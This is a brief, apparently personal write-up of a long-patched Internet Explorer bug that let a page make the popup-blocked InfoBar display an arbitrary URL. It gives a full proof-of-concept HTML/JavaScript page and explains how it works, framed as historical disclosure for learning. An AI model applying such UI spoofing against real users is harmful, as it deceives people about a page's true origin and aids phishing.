This was a UI spoofing issue with IE’s popup-blocked InfoBar. When a popup is blocked, the InfoBar shows the URL that was blocked. By using Navigate2 through an iFrame acting as a WebBrowser control, I could make the InfoBar display an arbitrary URL as the blocked address — not the real origin of the page that triggered it.

<meta http-equiv="X-UA-Compatible" content="IE=8" />

<iframe id="wbControl" width="10" height="10"></iframe>
<input type="text" size="30" value="http://www.google.com" id="inputURL">
<input type="button" onclick="setTimeout('blockedPopSpoof(document.all.inputURL.value)',100);" value="Spoof Infobar">

<script language="JavaScript">
function blockedPopSpoof(strURL)
{
    document.all.wbControl.Navigate2(strURL,"","NEW_WINDOW");
}
</script>

The page must use the X-UA-Compatible: IE=8 meta tag to unlock Navigate2 through iFrame elements, which in IE are internally WebBrowser controls. The NEW_WINDOW flag tells IE to open the URL as a popup, which the popup blocker catches. The InfoBar then faithfully displays whatever URL was passed to Navigate2, even if that URL has no relation to the domain hosting the page. A small setTimeout is needed so the navigation happens slightly after the page load, ensuring the popup blocker engages.

Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.